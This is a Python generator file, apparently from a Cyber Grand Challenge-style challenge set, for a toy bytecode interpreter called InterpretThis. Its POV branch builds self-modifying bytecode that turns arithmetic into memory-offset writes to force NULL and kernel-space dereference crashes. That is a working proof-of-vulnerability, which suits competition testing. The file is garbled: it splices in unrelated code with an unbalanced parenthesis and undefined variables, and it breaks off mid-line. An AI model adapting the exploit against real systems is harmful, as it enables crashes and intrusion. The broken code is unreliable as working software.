#!/usr/bin/env python # # Copyright (C) 2014, 2015 # Brian Caswell # Narf Industries # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS # OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. # IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY # CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, # TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE # SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # # NOTE1: All the different opcodes are generated in a single node in order to # conform to 1 node per write convention in other CBs. # NOTE2: There's no special exit code. The CB executes the bytecode (if it's # valid) and then exits. # REM # op1 = op1 for calculations in Python # op1_inst = op1 as we're sending in the instruction # - differs for offsets (op1 holds value, op1_inst holds offset) # - differs for ignored op1 (no need to have an op1, we're not computing over it) from generator.actions import Actions, Variable from random import randint, choice import struct class InterpretThis(Actions): GLOBAL_DEBUG = False GLOBAL_POV = False SCRATCH_SZ = 2048 BYTECODE_SZ = 2048 INST_OFF_SZ = 4 INST_IMM_SZ = 2 INST_MASK_DST = 0x01 INST_MASK_ACC = 0x02 INST_MASK_OP1 = 0x04 INST_MASK_OP2 = 0x08 INST_MASK_OPCODE = 0xF0 OPCODE_ADD = 0x00 OPCODE_SUB = 0x10 OPCODE_MUL = 0x20 OPCODE_DIV = 0x30 OPCODE_OUT = 0xF0 ops = [OPCODE_ADD, OPCODE_SUB, OPCODE_MUL, OPCODE_DIV, OPCODE_OUT] OUT_DEFAULT = 0xDEADBEEF NUM_OFFSETS = 5 def bytes(self): """ The node that does everything (bytecode generation, output verification). """ DEBUG = self.GLOBAL_DEBUG and True POV = self.GLOBAL_POV and True bytecode = "" if POV: # We intend to cause dereference in kernelspace as well as @ NULL. # Either dereference should cause a crash, but it's safer to do # both in the face of cheeseball defenses. # Immediates are only 2B long, so we must use math to construct # the 4B offsets. Because x86, these offsets need to be in LE. # XXXX: We make two assumptions: # space is @ 0xb7fff000 # kernelspace is 0xc0000000+ # space = 0xb7fff000 # del_null = 0x100000000 - space = 0x48001000 -> 0x00100048 # del_kern = 0xc0000000 - space = 0x08001000 -> 0x00100008 SCRATCH_NULL = 0x500 SCRATCH_KERN = 0x600 #### # Cause NULL deref #### # 0) ACC <- 0x1000 opcode = self.OPCODE_ADD opcode |= self.INST_MASK_ACC bytecode += struct.pack(">B", opcode) bytecode += struct.pack(">H", 0xFFFF) # ignored bytecode += struct.pack(">H", 0x1000) # 1) ACC *= 0x100 = 0x00100000 opcode = self.OPCODE_MUL opcode |= self.INST_MASK_ACC bytecode += struct.pack(">B", opcode) bytecode += struct.pack(">H", 0xFFFF) # ignored bytecode += struct.pack(">H", 0x0100) # 2) ACC += 0x48 = 0x00100048 # # We store this result off to use it later. opcode = self.OPCODE_ADD opcode |= self.INST_MASK_DST opcode |= self.INST_MASK_ACC opcode |= self.INST_MASK_OP1 bytecode += struct.pack(">B", opcode) bytecode += struct.pack(">L", SCRATCH_NULL) bytecode += struct.pack(">H", 0x0048) # 3) Reset ACC to 0 opcode = self.OPCODE_MUL opcode |= self.INST_MASK_ACC bytecode += struct.pack(">B", opcode) bytecode += struct.pack(">H", 0xFFFF) # ignored bytecode += struct.pack(">H", 0x0000) # 4) Rewrite of subsequent instruction. # CLOBBER_NULL (next op1) <- ACC (0) + *(SCRATCH_NULL) CLOBBER_NULL = (self.SCRATCH_SZ + # get us to bytecode section len(bytecode) + # consume bytecode length thus far 1 + 4 + 4 + # consume this instruction itself 1) # consume next instruction's opcode opcode = self.OPCODE_ADD opcode |= self.INST_MASK_DST opcode |= self.INST_MASK_ACC opcode |= self.INST_MASK_OP1 opcode |= self.INST_MASK_OP2 bytecode += struct.pack(">B", opcode) bytecode += struct.pack(">L", CLOBBER_NULL) # to be clobbered bytecode += struct.pack(">L", SCRATCH_NULL) # doesn't matter # 5) SIGSEGV on NULL opcode = self.OPCODE_ADD opcode |= self.INST_MASK_DST opcode |= self.INST_MASK_ACC opcode |= self.INST_MASK_OP1 bytecode += struct.pack(">B", opcode) bytecode += struct.pack(">L", 0x00000000) # to be clobbered bytecode += struct.pack(">H", 0xAAAA) # doesn't matter #### # Cause KERN deref #### # 0) ACC <- 0x1000 opcode = self.OPCODE_ADD opcode |= self.INST_MASK_ACC bytecode += struct.pack(">B", opcode) bytecode += struct.pack(">H", 0xFFFF) # ignored bytecode += struct.pack(">H", 0x1000) # 1) ACC *= 0x100 = 0x00100000 opcode = self.OPCODE_MUL opcode |= self.INST_MASK_ACC bytecode += struct.pack(">B", opcode) bytecode += struct.pack(">H", 0xFFFF) # ignored bytecode += struct.pack(">H", 0x0100) # 2) ACC += 0x8 = 0x00100008 # # We store this result off to use it later. opcode = self.OPCODE_ADD opcode |= self.INST_MASK_DST opcode |= self.INST_MASK_ACC opcode |= self.INST_MASK_OP1 bytecode += struct.pack(">B", opcode) bytecode += struct.pack(">L", SCRATCH_KERN) bytecode += struct.pack(">H", 0x0008) # 3) Reset ACC to 0 opcode = self.OPCODE_MUL opcode |= self.INST_MASK_ACC bytecode += struct.pack(">B", opcode) bytecode += struct.pack(">H", 0xFFFF) # ignored bytecode += struct.pack(">H", 0x0000) # 4) Rewrite of subsequent instruction. # CLOBBER_NULL (next op1) <- ACC (0) + *(SCRATCH_NULL) CLOBBER_NULL = (self.SCRATCH_SZ + # get us to bytecode section len(bytecode) + # consume bytecode length thus far 1 + 4 + 4 + # consume this instruction itself 1) # consume next instruction's opcode opcode = self.OPCODE_ADD opcode |= self.INST_MASK_DST opcode |= self.INST_MASK_ACC opcode |= self.INST_MASK_OP1 opcode |= self.INST_MASK_OP2 bytecode += struct.pack(">B", opcode) bytecode += struct.pack(">L", CLOBBER_NULL) # to be clobbered bytecode += struct.pack(">L", SCRATCH_KERN) # doesn't matter # 5) SIGSEGV on KERN opcode = self.OPCODE_ADD opcode |= self.INST_MASK_DST opcode |= self.INST_MASK_ACC opcode |= self.INST_MASK_OP1 bytecode += struct.pack(">B", opcode) bytecode += struct.pack(">L", 0x00000000) # to be clobbered bytecode += struct.pack(">H", 0xAAAA) # doesn't matter self.write(struct.pack("B", opcode) if DEBUG: print "opcode: 0x%02x" % opcode inst_len += 1 if opcode & self.INST_MASK_OP1: if DEBUG: print "inst_op1 (offset): 0x%08x (%d)" % (inst_op1, inst_op1) if DEBUG: print "op1 (offset): 0x%08x (%d)" % (op1, op1) bytecode += struct.pack(">L", inst_op1) inst_len += 4 else: if DEBUG: print "inst_op1 (imm): 0x%04x (%d)" % (inst_op1, inst_op1) if DEBUG: print "op1 (imm): 0x%04x (%d)" % (op1, op1) bytecode += struct.pack(">H", inst_op1) inst_len += 2 if opcode & self.INST_MASK_OP2: if DEBUG: print "inst_op2 (offset): 0x%08x (%d)" % (inst_op2, inst_op2) if DEBUG: print "op2 (offset): 0x%08x (%d)" % (op2, op2) bytecode += struct.pack(">L", inst_op2) inst_len += 4 else: if DEBUG: print "inst_op2 (imm): 0x%04x (%d)" % (inst_op2, inst_op2) if DEBUG: print "op2 (imm): 0x%04x (%d)" % (op2, op2) bytecode += struct.pack(">H", inst_op2) inst_len += 2 if DEBUG: print "#%04d: acc = 0x%08x" % (inst_count, acc) inst_count += 1 bytes_left -= inst_len # If bytes_left < max(len(inst)), then we're done. if 9 > bytes_left: break # Send the bytecode length + payload. self.write(struct.pack("